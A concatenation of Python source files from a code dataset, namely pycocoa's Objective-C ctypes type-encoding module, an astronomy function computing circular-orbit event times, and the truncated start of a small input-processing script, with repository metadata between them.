'''ObjC C{property} Class.\n '''\n pass\n\n\nclass objc_property_attribute_t(c_struct_t):\n '''ObjC C{struct} with fields C{name} and C{value} (both C{c_char_p}).\n '''\n _fields_ = ('name', c_char_p), ('value', c_char_p)\n\n\nclass objc_super_t(c_struct_t):\n '''ObjC C{struct} with fields C{receiver} and C{class} (C{Id_t}, C{Class_t}).\n '''\n _fields_ = ('receiver', Id_t), ('super_class', Class_t)\n\n\nobjc_super_t_ptr = POINTER(objc_super_t) # used in .runtime.send_super and .__init__\n\nNSDouble_t = c_double # always 64-bit double\nNSFloat_t = c_float # always 32-bit float\n\n\n# NSRange.h\nclass NSRange_t(c_struct_t):\n '''ObjC C{struct} with fields C{loc[ation]} and C{len[gth]} (both C{NSUInteger_t}).\n '''\n _fields_ = ('location', NSUInteger_t), ('length', NSUInteger_t)\n\n\n# CF/Range struct defined in CFBase.h\nclass CFRange_t(c_struct_t):\n '''ObjC C{struct} with fields C{loc[ation]} and C{len[gth]} (both C{CFIndex_t}).\n '''\n _fields_ = ('location', CFIndex_t), ('length', CFIndex_t)\n\n\n# from /System/Library/Frameworks/Foundation.framework/Headers/NSGeometry.h\nclass NSPoint_t(c_struct_t): # == CGPoint_t\n '''ObjC C{struct} with fields C{x} and C{y} (both C{CGFloat_t}).\n '''\n _fields_ = ('x', CGFloat_t), ('y', CGFloat_t)\n\n\n# from /System/Library/Frameworks/Foundation.framework/Headers/NSGeometry.h\nclass NSSize_t(c_struct_t): # == CGSize_t\n '''ObjC C{struct} with fields C{width} and C{height} (both C{CGFloat_t}).\n '''\n _fields_ = ('width', CGFloat_t), ('height', CGFloat_t)\n\n\nclass NSRect_t(c_struct_t): # == CGRect_t\n '''ObjC C{struct} with fields C{origin} and C{size} (C{NSPoint_t}, C{NSSize_t}).\n '''\n _fields_ = ('origin', NSPoint_t), ('size', NSSize_t)\n\n\nclass NSRect4_t(NSRect_t):\n '''ObjC C{struct}, like L{NSRect_t} with different signature and properties.\n '''\n def __init__(self, x=0, y=0, width=0, height=0):\n if width < 0:\n width = -width\n x -= width\n\n if height < 0:\n height = -height\n y -= height\n\n super(NSRect4_t, self).__init__(NSPoint_t(x, y), NSSize_t(width, height))\n\n def __repr__(self):\n r = inst2strepr(self, repr, 'x', 'y', 'width', 'height')\n return '<%s at %#x>' % (r, id(self))\n\n def __str__(self):\n return inst2strepr(self, str, 'x', 'y', 'width', 'height')\n\n @property_RO\n def bottom(self):\n '''Get the bottom y coordinate (C{float}).\n '''\n return self.y\n\n @property_RO\n def height(self):\n '''Get the height (C{float}).\n '''\n return self.size.height\n\n @property_RO\n def left(self):\n '''Get the lower x coordinate (C{float}).\n '''\n return self.x\n\n @property_RO\n def right(self):\n '''Get the upper x coordinate (C{float}).\n '''\n return self.x + self.width\n\n @property_RO\n def top(self):\n '''Get the upper y coordinate (C{float}).\n '''\n return self.y + self.heigth\n\n @property_RO\n def width(self):\n '''Get the width (C{float}).\n '''\n return self.size.width\n\n @property_RO\n def x(self):\n '''Get the x coordinate (C{float}).\n '''\n return self.origin.x\n\n @property_RO\n def y(self):\n '''Get the y coordinate (C{float}).\n '''\n return self.origin.y\n\n\nCGBitmapInfo_t = c_uint32 # CGImage.h\nCGDirectDisplayID_t = c_uint32 # CGDirectDisplay.h\nCGError_t = c_int32 # CGError.h\nCGGlyph_t = c_uint16 # c_ushort\nCGPoint_t = NSPoint_t # 32-bit encoding is different\nCGRect_t = NSRect_t # 32-bit encoding is different\nCGSize_t = NSSize_t # 32-bit encoding is different\nCTFontOrientation_t = c_uint32 # CTFontDescriptor.h\nCTFontSymbolicTraits_t = c_uint32 # CTFontTraits.h\n\n# for backward compatibility with cocoa-python:\nNSMakePoint = NSPoint_t\nNSMakeRange = NSRange_t # CFRangeMake(LOC, LEN)\nNSMakeRect = NSRect4_t\nNSMakeSize = NSSize_t\n\nNSNotFound = NSIntegerMax\nNSPointZero = NSPoint_t(0, 0)\n\n# NSDate.h\nNSTimeInterval_t = c_double # a ctype, != TimeInterval_t\n\n# map ctypes type to ObjC encoding type code\n_ctype2encoding = {c_char: b'c', c_ubyte: b'C',\n c_int: b'i', c_uint: b'I',\n c_short: b's', c_ushort: b'S',\n c_long: b'l', c_ulong: b'L',\n c_float: b'f', c_double: b'd',\n c_bool: b'B',\n c_char_p: b'*',\n c_void_p: b'@', # c_void: b'v',\n Class_t: b'#',\n Id_t: b'@',\n NSPoint_t: NSPointEncoding,\n NSRange_t: NSRangeEncoding,\n NSRect_t: NSRectEncoding,\n NSSize_t: NSSizeEncoding,\n SEL_t: b':',\n py_object: PyObjectEncoding}\n\n# add c_?longlong only if different from c_?long\nif sizeof(c_longlong) != sizeof(c_long):\n _ctype2encoding.update({c_longlong: b'q'})\nif sizeof(c_ulonglong) != sizeof(c_ulong):\n _ctype2encoding.update({c_ulonglong: b'Q'})\n\n\ndef ctype2encoding(ctype, dflt=b'?'):\n '''Return the type encoding for a given C{ctypes} type.\n\n @param ctype: The type (C{ctypes}).\n @keyword dflt: Default encoding (C{bytes}).\n\n @return: The type encoding (C{bytes}).\n '''\n return _ctype2encoding.get(ctype, dflt)\n\n\nNSFloatEncoding = ctype2encoding(NSFloat_t)\nNSIntegerEncoding = ctype2encoding(NSInteger_t)\nNSUIntegerEncoding = ctype2encoding(NSUInteger_t)\n\n# map for encoding type code to ctypes type\n_encoding2ctype = {b'c': c_char, b'C': c_ubyte,\n b's': c_short, b'S': c_ushort,\n b'i': c_int, b'I': c_uint,\n b'l': c_long, b'L': c_ulong,\n b'q': c_longlong, b'Q': c_ulonglong, # == c_(u)long?\n b'f': c_float, b'd': c_double,\n b'B': c_bool, b'v': c_void,\n b'*': c_char_p, # string\n b'#': Class_t, # class\n b'@': Id_t, # Id/self\n b':': SEL_t, # SELector/cmd\n NSPointEncoding: NSPoint_t,\n NSRangeEncoding: NSRange_t,\n NSRectEncoding: NSRect_t,\n NSSizeEncoding: NSSize_t,\n PyObjectEncoding: py_object,\n b'P': py_object, # for convenience\n b'[]': Array_t,\n b'<>': Block_t,\n b'{}': Struct_t,\n b'()': Union_t,\n b'?': Unknown_t,\n b'^?': UnknownPtr_t,\n b'^v': VoidPtr_t}\n\n# double check the 2encoding and 2ctype mappings\nfor c_, code in _ctype2encoding.items():\n f_ = _encoding2ctype.get(code, 'missing')\n if c_ != f_ and code not in (b'@',):\n raise RuntimeError('code %r ctype %r vs %r' % (code, c_, f_))\ndel c_, code, f_\n\n# map 'c' to c_byte rather than c_char, because\n# otherwise ctypes converts the value into a 1-char\n# string which is generally not what we want,\n# especially when the 'c' represents a bool\n_encoding2ctype[b'c'] = c_byte # C_ubyte, see oslibs.cfNumber2bool!\n\n_emcoding2ctype = {b'Vv': c_void,\n b'^' + CGImageEncoding: c_void_p,\n b'^' + NSZoneEncoding: c_void_p}\n\nif CGPointEncoding != NSPointEncoding: # in 32-bit\n _encoding2ctype.update({CGPointEncoding: CGPoint_t})\nif CGRectEncoding != NSRectEncoding: # in 32-bit\n _encoding2ctype.update({CGRectEncoding: CGRect_t})\nif CGSizeEncoding != NSSizeEncoding: # in 32-bit\n _encoding2ctype.update({CGSizeEncoding: CGSize_t})\n\n\ndef emcoding2ctype(code, dflt=missing, name='type'):\n '''Return the C{ctypes} type for a single ObjC type encoding\n code for a I{method} result or I{method} argument.\n\n @param code: The type encoding (C{bytes}).\n @keyword dflt: Default result (C{ctype}).\n @keyword name: Name of the method (C{str}).\n\n @return: The C{ctype} (C{ctypes}).\n\n @raise TypeCodeError: Invalid or unbalanced I{code}, unless\n a I{dflt} C{ctype} is provided.\n '''\n try:\n return _emcoding2ctype[code]\n except KeyError:\n pass\n return encoding2ctype(code, dflt, name)\n\n\ndef encoding2ctype(code, dflt=missing, name='type'): # MCCABE 20\n '''Return the C{ctypes} type for a single ObjC type encoding code.\n\n @param code: The type encoding (C{bytes}).\n @keyword dflt: Default encoding (C{ctype}).\n @keyword name: Name of the type (C{str}).\n\n @return: The C{ctype} (C{ctypes}).\n\n @raise TypeCodeError: Invalid or unbalanced I{code}, unless\n a I{dflt} C{ctype} is provided.\n '''\n try:\n return _encoding2ctype[code]\n except KeyError:\n pass\n\n coderr = code\n if code[:1] == b'r': # const ptr or decorator\n code = code[1:]\n try:\n c = code[-1:]\n if c == b'\"': # ...\"name\" suffix\n i = code.find(c)\n if i < 1:\n raise TypeCodeError\n code = code[:i] # drop \"name\"\n\n elif c == b']': # array ...[...]\n i = code.find(b'[')\n if i < 0:\n raise TypeCodeError\n elif i > 0: # ignore array type\n code = code[:i + 1] + c\n else: # convert array to pointer\n code = b'^' + code[1:-1].strip(b'0123456789')\n\n elif c in _TYPECLOSERS: # Block, Struct or Union\n o = _TYPE2OPENER[c]\n if code[:1] != o:\n o = b'^' + o\n if code[:2] != o:\n raise TypeCodeError\n code = o + c # {} or ^{}, etc.\n\n if code[:1] == b'^':\n if len(code) < 2:\n raise TypeCodeError\n# ctype = POINTER(_encoding2ctype[code[1:]]) # breaks on '^^^...'\n ctype = POINTER(encoding2ctype(code[1:])) # allows '^^^...'\n _encoding2ctype[code] = ctype\n return ctype\n elif len(code):\n return _encoding2ctype[code]\n else:\n raise TypeCodeError\n\n except TypeCodeError:\n raise TypeCodeError('%s encoding %s: %r' % (bytes2str(name), 'invalid', coderr))\n except KeyError:\n pass\n\n if dflt is missing:\n raise TypeCodeError('%s encoding %s: %r' % (bytes2str(name), 'unknown', coderr))\n elif code[:1] == b'^':\n return POINTER(dflt)\n else:\n return dflt\n\n\ndef split_emcoding2(encoding, start=0):\n '''Split the type encoding of a I{method} signature into\n separate, single encodings and the combined encoding.\n\n If necessary, the encoding is extended with the type encoding\n for the hidden method arguments C{Id/self} and C{SEL/cmd}.\n\n @note: Does not handle C{bitfield}s, C{array}s, C{struct}s,\n C{union}s, etc. and strips any offset, size or width\n specifiers from the encoding.\n\n @return: 2-Tuple (I{codes, encoding}), where I{codes} is the list\n of individual type encodings from item I{start=0} and\n I{encoding} is the combined type encoding in C{bytes},\n both extended with C{Id/self} and C{SEL/cmd} iff needed.\n\n @raise TypeCodeError: Invalid or unbalanced I{encoding}.\n\n @example:\n\n >>> split_emcoding2('v*')\n >>> (['v', '@', ':', '*'], 'v@:*')\n '''\n codes = split_encoding(encoding)\n if codes[1:3] != [b'@', b':']:\n # Add codes for hidden arguments\n codes.insert(1, b'@') # Id/self type encoding\n codes.insert(2, b':') # SEL/cmd type encoding\n\n return codes[start:], _join(codes)\n\n\n_TYPECODESET = set(iterbytes(b'cCiIsSlLqQfdBvP*@#:b^?')) # _emcoding2ctype.keys()\n_TYPESKIPPED = set(iterbytes(b'0123456789 nNoOrRV')) # type, width and offsets\n\n_TYPE2CLOSER = {b'{': b'}', b'[': b']', b'(': b')', b'<': b'>'}\n_TYPE2OPENER = dict(reversed(_) for _ in _TYPE2CLOSER.items())\n\n_TYPEOPENERS = set(_TYPE2CLOSER.keys())\n_TYPECLOSERS = set(_TYPE2CLOSER.values())\n\n\ndef split_encoding(encoding): # MCCABE 18\n '''Split a type encoding into separate type encodings.\n\n Does not handle C{bitfield}s, C{array}s, C{struct}s, C{union}s,\n etc. and strips any offset, size or width specifiers from the\n encoding.\n\n @return: The individual type encodings (C{list}).\n\n @raise TypeCodeError: Invalid or unbalanced I{encoding}.\n\n @example:\n\n >>> split_encoding('^v16@0:8')\n >>> ['^v', '@', ':']\n\n >>> split_encoding('{CGSize=dd}40@0:8{PyObject=@}Q32')\n >>> ['{CGSize=dd}', '@', ':', '{PyObject=@}', 'Q']\n\n Supported Type Encodings:\n\n - B = bool (C++ bool, C99 _Bool)\n - c, C = char, unsigned char\n - f, d = float, double\n - i, I = int, unsigned int\n - l, L = long, unsigned long (32-bit in 64-bit Apps)\n - q, Q = long long, unsigned long long\n - s, S = short, unsigned short\n - t, T = 128-bit int, unsigned int\n - v = void\n - * = string (char *)\n - : = method selector C{SEL/cmd}\n - # = class\n - #\"name\" = class \"name\"\n - @ = object instance C{Id/self} or statically typed\n - @\"name\" = instance C{Id/self} of class \"name\"\n - ^type = pointer to type\n - ? = unknown type (among other things, used for function pointers)\n\n PyCocoa specific:\n\n - P = Python object, shorthand for C{PyObjectEncoding}\n\n Unsupported Type Encodings:\n\n - bW = bitfield of width W\n - [Ltype] = array of L items of type\n - E{lb}name=type...E{rb} = structure\n - (name=type...) = union\n - <...> = block\n - ?<...> = block with signature\n\n Unknown or for ObjC internal use:\n\n - A = ?\n - j = ?\n - n, N = in, inout\n - o, O = out, bycopy\n - r, R = const, byref\n - V = oneway\n\n @note: Type encodings may be preceeded by C{\"name\"}, for example a\n C{bitfield} C{\"name\"b1}, C{struct} items C{E{lb}CGsize=\"width\"d\"heigth\"dE{rb}},\n C{union} items, etc. and all such C{\"name\"} prefixes are ignored.\n\n @see: U{Type Encodings<https://Developer.Apple.com/library/content/documentation/\n Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html>},\n U{NSHipster Type Encodings<https://NSHipster.com/type-encodings>} and\n U{Digits in type encoding<https://StackOverflow.com/questions/11527385/\n how-are-the-digits-in-objc-method-type-encoding-calculated>}.\n '''\n code = []\n codes = []\n opened = [] # opened braces, brackets, parensm etc.\n quoted = False # inside double quotes\n\n for b in iterbytes(str2bytes(encoding)):\n\n if b in _TYPEOPENERS:\n if code and code[-1] != b'^' and not opened:\n codes.append(_join(code))\n code = []\n opened.append(_TYPE2CLOSER[b])\n code.append(b)\n\n elif b in _TYPECLOSERS:\n code.append(b)\n if not opened or b != opened.pop():\n raise TypeCodeError('encoding %s: %r' % ('unbalanced',\n bytes2str(_join(code))))\n if not opened:\n codes.append(_join(code))\n code = []\n\n elif opened: # inside braces, etc\n # XXX ignore digits?\n code.append(b) # stick anything on\n\n elif b == b'\"':\n code.append(b)\n if quoted: # closing quotes\n code = _join(code)\n if code[:2] in (b'@\"', b'#\"'):\n # XXX only @\"...\" and #\"...\" are OK\n # XXX what about ^@\"...\" and ^#\"...\"?\n codes.append(code)\n elif code[:1] == b'\"':\n pass # ignore prefix \"name\"\n else:\n raise TypeCodeError('encoding %s: %r' % ('invalid',\n bytes2str(code)))\n code = []\n quoted = not quoted\n\n elif quoted: # inside quotes\n # XXX only alphanumeric, '_', '.'?\n code.append(b) # stick anything on\n\n elif b in _TYPECODESET:\n if code and code[-1] != b'^':\n # not a pointer, previous char != '^'\n codes.append(_join(code))\n code = []\n code.append(b)\n\n elif b in _TYPESKIPPED:\n pass # ignore type, width and offsets\n\n if opened:\n raise TypeCodeError('encoding %s: %r' % ('unbalanced', bytes2str(encoding)))\n\n if code: # final type code\n codes.append(_join(code))\n return codes\n\n\nif __name__ == '__main__':\n\n from pycocoa.utils import _all_exports, _all_listing, \\\n bytes2repr, _Globals, printf\n\n _all_exports(locals(), 'PyObjectEncoding', 'TypeCodeError', 'c_void',\n starts=('CG', 'CF', 'NS', 'ObjC', 'is', 'split_'),\n ends='_t')\n\n _Globals.argv0 = ''\n\n def _c(ctype):\n return 'c_void' if ctype is c_void else ctype.__name__\n\n printf('%s ...', 'ctype2encoding', nl=1)\n i = 0\n for c, e in sorted((_c(c), e) for c, e in _ctype2encoding.items()):\n i += 1\n printf('%4s: %-9s -> %s', i, c, bytes2repr(e))\n\n printf('%s ...', 'encoding2ctype', nl=1)\n e = _encoding2ctype.copy()\n e.update(_emcoding2ctype)\n i = 0\n for e, c in sorted(e.items()):\n i += 1\n printf('%4s: %-5s -> %s', i, bytes2repr(e), _c(c))\n\n printf('%s ...', 'checking NS...Encoding', nl=1)\n for t, e in ((NSPoint_t, NSPointEncoding),\n (NSRange_t, NSRangeEncoding),\n (NSRect_t, NSRectEncoding),\n (NSSize_t, NSSizeEncoding)):\n c = _join(ctype2encoding(c) for _, c in t._fields_)\n c = b'=%s}' % (c,)\n if not e.endswith(c):\n printf(' %s: %r != %r', t.__name__, c, e)\n\n _all_listing(__all__, locals())\n\n _ = '''% python3 -m pycocoa.octypes\n\n ctype2encoding ...\n 1: Class_t -> b'#'\n 2: Id_t -> b'@'\n 3: NSPoint_t -> b'{CGPoint=dd}'\n 4: NSRange_t -> b'{_NSRange=QQ}'\n 5: NSRect_t -> b'{CGRect={CGPoint=dd}{CGSize=dd}}'\n 6: NSSize_t -> b'{CGSize=dd}'\n 7: SEL_t -> b':'\n 8: c_bool -> b'B'\n 9: c_char -> b'c'\n 10: c_char_p -> b'*'\n 11: c_double -> b'd'\n 12: c_float -> b'f'\n 13: c_int -> b'i'\n 14: c_long -> b'l'\n 15: c_short -> b's'\n 16: c_ubyte -> b'C'\n 17: c_uint -> b'I'\n 18: c_ulong -> b'L'\n 19: c_ushort -> b'S'\n 20: c_void_p -> b'@'\n 21: py_object -> b'{PyObject=@}'\n\n encoding2ctype ...\n 1: b'#' -> Class_t\n 2: b'()' -> Union_t\n 3: b'*' -> c_char_p\n 4: b':' -> SEL_t\n 5: b'<>' -> Block_t\n 6: b'?' -> Unknown_t\n 7: b'@' -> Id_t\n 8: b'B' -> c_bool\n 9: b'C' -> c_ubyte\n 10: b'I' -> c_uint\n 11: b'L' -> c_ulong\n 12: b'P' -> py_object\n 13: b'Q' -> c_ulong\n 14: b'S' -> c_ushort\n 15: b'Vv' -> c_void\n 16: b'[]' -> c_void_p\n 17: b'^?' -> UnknownPtr_t\n 18: b'^v' -> VoidPtr_t\n 19: b'^{CGImage=}' -> c_void_p\n 20: b'^{_NSZone=}' -> c_void_p\n 21: b'c' -> c_byte\n 22: b'd' -> c_double\n 23: b'f' -> c_float\n 24: b'i' -> c_int\n 25: b'l' -> c_long\n 26: b'q' -> c_long\n 27: b's' -> c_short\n 28: b'v' -> c_void\n 29: b'{CGPoint=dd}' -> NSPoint_t\n 30: b'{CGRect={CGPoint=dd}{CGSize=dd}}' -> NSRect_t\n 31: b'{CGSize=dd}' -> NSSize_t\n 32: b'{PyObject=@}' -> py_object\n 33: b'{_NSRange=QQ}' -> NSRange_t\n 34: b'{}' -> Struct_t\n\n checking NS...Encoding ...\n NSRange_t: b'=LL}' != b'{_NSRange=QQ}'\n\n octypes.__all__ = tuple(\n octypes.Allocator_t is <class .Allocator_t>,\n octypes.Array_t is <class ctypes.c_void_p>,\n octypes.Block_t is <class .Block_t>,\n octypes.BOOL_t is <class .BOOL_t>,\n octypes.c_ptrdiff_t is <class ctypes.c_long>,\n octypes.c_struct_t is <class .c_struct_t>,\n octypes.c_void is None,\n octypes.CFIndex_t is <class ctypes.c_long>,\n octypes.CFRange_t is <class .CFRange_t>,\n octypes.CGBitmapInfo_t is <class ctypes.c_uint>,\n octypes.CGDirectDisplayID_t is <class ctypes.c_uint>,\n octypes.CGError_t is <class ctypes.c_int>,\n octypes.CGFloat_t is <class ctypes.c_double>,\n octypes.CGGlyph_t is <class ctypes.c_ushort>,\n octypes.CGImageEncoding is b'{CGImage=}',\n octypes.CGPoint_t is <class .NSPoint_t>,\n octypes.CGPointEncoding is b'{CGPoint=dd}',\n octypes.CGRect_t is <class .NSRect_t>,\n octypes.CGRectEncoding is b'{CGRect={CGPoint=dd}{CGSize=dd}}',\n octypes.CGSize_t is <class .NSSize_t>,\n octypes.CGSizeEncoding is b'{CGSize=dd}',\n octypes.Class_t is <class .Class_t>,\n octypes.CTFontOrientation_t is <class ctypes.c_uint>,\n octypes.CTFontSymbolicTraits_t is <class ctypes.c_uint>,\n octypes.Data_t is <class ctypes.c_void_p>,\n octypes.Dictionary_t is <class ctypes.c_void_p>,\n octypes.Id_t is <class .Id_t>,\n octypes.IMP_t is <class .IMP_t>,\n octypes.Ivar_t is <class .Ivar_t>,\n octypes.Method_t is <class .Method_t>,\n octypes.NSDouble_t is <class ctypes.c_double>,\n octypes.NSFloat_t is <class ctypes.c_float>,\n octypes.NSFloatEncoding is b'f',\n octypes.NSInteger_t is <class ctypes.c_long>,\n octypes.NSIntegerEncoding is b'l',\n octypes.NSIntegerMax is 9223372036854775807 or 0x7FFFFFFFFFFFFFFF,\n octypes.NSMakePoint is <class .NSPoint_t>,\n octypes.NSMakeRange is <class .NSRange_t>,\n octypes.NSMakeRect is <class .NSRect4_t>,\n octypes.NSMakeSize is <class .NSSize_t>,\n octypes.NSNotFound is 9223372036854775807 or 0x7FFFFFFFFFFFFFFF,\n octypes.NSPoint_t is <class .NSPoint_t>,\n octypes.NSPointEncoding is b'{CGPoint=dd}',\n octypes.NSPointZero is <NSPoint_t(x=0.0, y=0.0) at 0x10ebc7320>,\n octypes.NSRange_t is <class .NSRange_t>,\n octypes.NSRangeEncoding is b'{_NSRange=QQ}',\n octypes.NSRect4_t is <class .NSRect4_t>,\n octypes.NSRect_t is <class .NSRect_t>,\n octypes.NSRectEncoding is b'{CGRect={CGPoint=dd}{CGSize=dd}}',\n octypes.NSSize_t is <class .NSSize_t>,\n octypes.NSSizeEncoding is b'{CGSize=dd}',\n octypes.NSTimeInterval_t is <class ctypes.c_double>,\n octypes.NSUInteger_t is <class ctypes.c_ulong>,\n octypes.NSUIntegerEncoding is b'L',\n octypes.NSZoneEncoding is b'{_NSZone=}',\n octypes.Number_t is <class ctypes.c_void_p>,\n octypes.NumberType_t is <class ctypes.c_ulong>,\n octypes.objc_method_description_t is <class .objc_method_description_t>,\n octypes.objc_property_attribute_t is <class .objc_property_attribute_t>,\n octypes.objc_property_t is <class .objc_property_t>,\n octypes.objc_super_t is <class .objc_super_t>,\n octypes.ObjC_t is <class .ObjC_t>,\n octypes.OptionFlags_t is <class ctypes.c_ulong>,\n octypes.Protocol_t is <class .Protocol_t>,\n octypes.PyObjectEncoding is b'{PyObject=@}',\n octypes.RunLoop_t is <class .RunLoop_t>,\n octypes.SEL_t is <class .SEL_t>,\n octypes.Set_t is <class ctypes.c_void_p>,\n octypes.split_emcoding2 is <function .split_emcoding2 at 0x10ebd5290>,\n octypes.split_encoding is <function .split_encoding at 0x10ebd5320>,\n octypes.String_t is <class ctypes.c_void_p>,\n octypes.Struct_t is <class .Struct_t>,\n octypes.TimeInterval_t is <class ctypes.c_double>,\n octypes.TypeCodeError is <class .TypeCodeError>,\n octypes.TypeID_t is <class ctypes.c_ulong>,\n octypes.TypeRef_t is <class .TypeRef_t>,\n octypes.UniChar_t is <class ctypes.c_ushort>,\n octypes.unichar_t is <class ctypes.c_wchar>,\n octypes.Union_t is <class .Union_t>,\n octypes.Unknown_t is <class .Unknown_t>,\n octypes.UnknownPtr_t is <class .UnknownPtr_t>,\n octypes.URL_t is <class .URL_t>,\n octypes.VoidPtr_t is <class .VoidPtr_t>,\n )[83]\n octypes.version = '20.01.08'\n'''\n del _\n\n# MIT License <https://OpenSource.org/licenses/MIT>\n#\n# Copyright (C) 2017-2020 -- mrJean1 at Gmail -- All Rights Reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n\n# Originally <https://GitHub.com/phillip-nguyen/cocoa-python>\n\n# objective-ctypes\n#\n# Copyright (C) 2011 -- Phillip Nguyen -- All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of objective-ctypes nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n","repo_name":"dhairyachandra/CSEE5590-Python-Deep-Learning-Programming","sub_path":"venv/lib/python3.8/site-packages/pycocoa/octypes.py","file_name":"octypes.py","file_ext":"py","file_size_in_byte":35149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72999469340","text":"# $Author: ccampo $\n# $Revision: 31 $\n# $Date: 2009-06-18 09:55:27 -0400 (Thu, 18 Jun 2009) $\n# $HeadURL: file:///home/esp01/svn/code/auto_aor/trunk/circorbphase.py $\n# $Id: circorbphase.py 31 2009-06-18 13:55:27Z ccampo $\n\ndef circorbphase(teph, period, start, last, toff=0, evphase=0, errphase=0):\n \"\"\"\nNAME:\n circorbphase\n\nPURPOSE:\n This function calculates the times when an orbit reaches\n a given phase. It is useful for caucluating times of\n transit and given eclipse for extrasolar planets. THE\n ORBIT IS ASSUMED CIRCULAR!\n\nINPUTS:\n teph: Time of transit and error; 2-element array (Julian day)\n \n period: Period of planet and error; 2-element array (days)\n \n start: Date of start of list (Julian day)\n \n last: Date of end of list (Julian day)\n\n toff: Optional parameter; added to teph to get julian date.\n (days, default is 0)\n\n evphase: Optional parameter; keyword param; phase of event to\n calculate (default 0 - primary eclipse)\n\nOUTPUTS:\n Returns an array of orbital event Julian dates.\n\nRESTRICTIONS:\n Accepts only Numpy arrays, lists, and tuples as input\n on many of the parameters.\n \n Error values MUST be passed in input (2-element arrays).\n \n Values MUST be double precision (float64 is default).\n\nEXAMPLE/TEST:\n\nimport numpy as np\nimport julday as jd\nimport circorbphase as cop \nimport circorbphase as cop\nteph = np.array([2454746.28890, 0.0007])\ntoff = 0.\nperiod = np.array([2.2437563, 0.000009])\ntdur = np.array([8246., 216.]) / 86400.\nplanet = 'wasp-14b'\nobswin = np.array([\\\n[jd.julday(2,17,2009,17,57,0), jd.julday(4, 6, 2009, 20, 23, 0)],\\\n[jd.julday(7,22,2009, 5,55,0), jd.julday(9, 10, 2009, 1, 7, 0)]])\nevent = 'full eclipse'\nevphase = 0.48375\nobsdur = tdur[0] * 2. * 86400.\nctrshift = 0\nstartwin = 30. * 60.\nstart = obswin[0][0]\nlast = obswin[0][1]\necl = cop.circorbphase(teph, period, start, last, toff, evphase)\n\nSIDE EFFECTS:\n Numpy is imported.\n\nNOTES:\n Adapted from circorbphase.pro by Dr. Joseph Harrington,\n University of Central Florida. The original routine\n is written in IDL.\n \nMODIFICATION HISTORY:\n 2009-01-07 0.1 Christopher Campo, UCF Initial version\n ccampo@gmail.com\n\n \"\"\"\n import numpy as np\n\n # calculate orbital phase of starting time\n # force that and event phase to range (-1,1)\n div = (start - toff - teph[0]) / period[0]\n ephase = evphase % 1\n\n # tricky; IDL uses sign of the dividend, where Python\n # seems to use the sign of the divisor.\n if div < 0:\n phasestart = div % -1.\n else:\n phasestart = div % 1.\n\n # phase adjustment from start time to first event, range (-1,0]\n phadj = ephase - phasestart\n phadj -= np.ceil(phadj)\n\n # ensure that happens before start\n phadj -= 1.\n\n # time of an event before start\n first = start + phadj * period[0]\n\n # covering number of events\n nev = np.ceil((last-start) / period[0]) + 2\n \n # lists of event times and errors\n event = first + (period[0] * np.arange(0, nev, 1, dtype=np.float64))\n\n error = np.sqrt((period[1] * (event - (toff + teph[0])) / period[0])**2\\\n + teph[1]**2 + (period[0]*errphase)**2)\n \n #error = np.sqrt((period[1] * (event - (toff + teph[0])) / period[0])**2\\\n # + teph[1]**2 + errphase**2)\n\n #trim to start and last\n condition = (event > start) & (event < last)\n indices = np.where(condition)\n event = event[indices]\n error = error[indices]\n\n return np.array((event, error))\n","repo_name":"ccampo133/auto_aor","sub_path":"circorbphase.py","file_name":"circorbphase.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"38685392123","text":"balls = int(input())\r\nh_value = 0\r\nh_weight = 0\r\nh_time = 0\r\nh_quality = 0\r\n\r\nfor b in range(balls):\r\n weight = int(input())\r\n time = int(input())\r\n quality = int(input())\r\n\r\n value = (weight / time) ** quality\r\n if value > h_value:\r\n h_value = value\r\n h_weight = weight\r\n h_time = time\r\n h_quality = quality\r\n\r\nprint(f\"{h_weight} : {h_time} = {int(h_value)} 